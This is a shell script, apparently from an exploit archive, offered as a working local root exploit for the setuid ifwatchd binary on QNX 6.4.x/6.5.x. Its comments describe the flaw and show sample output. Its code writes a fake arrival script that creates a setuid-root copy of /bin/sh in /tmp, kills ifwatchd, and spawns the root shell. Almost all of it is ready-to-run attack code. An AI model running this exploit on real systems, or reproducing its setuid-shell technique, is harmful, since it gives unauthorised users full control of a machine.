#!/bin/sh # # QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013 # # # - vulnerability description: # Setuid root ifwatchd watches for addresses added to or deleted from network # interfaces and calls up/down scripts for them. Any user can launch ifwatchd # and provide arbitrary up/down scripts. Unfortunately ifwatchd does not drop # privileges when executing user supplied scripts. # # - vulnerable platforms: # QNX 6.5.0SP1 # QNX 6.5.0 # QNX 6.4.1 # # - exploit description: # This exploit creates a fake arrival-script which will be executed as root by # passing it to the -A parameter of /sbin/ifwatchd. The fake arrival-script # copies /bin/sh to /tmp/shell and makes it setuid root. Once the setuid shell # is in place ifwatchd will be killed to drop the user into the root shell. # # - example: # $ uname -a # QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86 # $ id # uid=100(user) gid=100 # $ ./qnx-ifwatchd.sh # QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013 # # [-] creating fake arrival-script # [-] executing ifwatchd, please wait # Killed # [-] now executing suid shell # # id # uid=100(user) gid=100 euid=0(root) PATH=/bin:/usr/bin:/sbin if [ ! -x /sbin/ifwatchd ]; then echo "error: cannot execute /sbin/ifwatchd" exit 1 fi echo "QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013" echo echo "[-] creating fake arrival-script" cat << _EOF_ > /tmp/0 #!/bin/sh PATH=/bin:/usr/bin IFWPID=\$(ps -edaf | grep "ifwatchd -A" | awk '!/grep/ { print \$2 }') cp /bin/sh /tmp/shell chown root:root /tmp/shell chmod 4755 /tmp/shell rm -f /tmp/0 kill -9 \$IFWPID exit 0 _EOF_ chmod +x /tmp/0 echo "[-] executing ifwatchd, please wait" ifwatchd -A /tmp/0 -v lo0 2>&1 >/dev/null echo "[-] now executing suid shell" /tmp/shell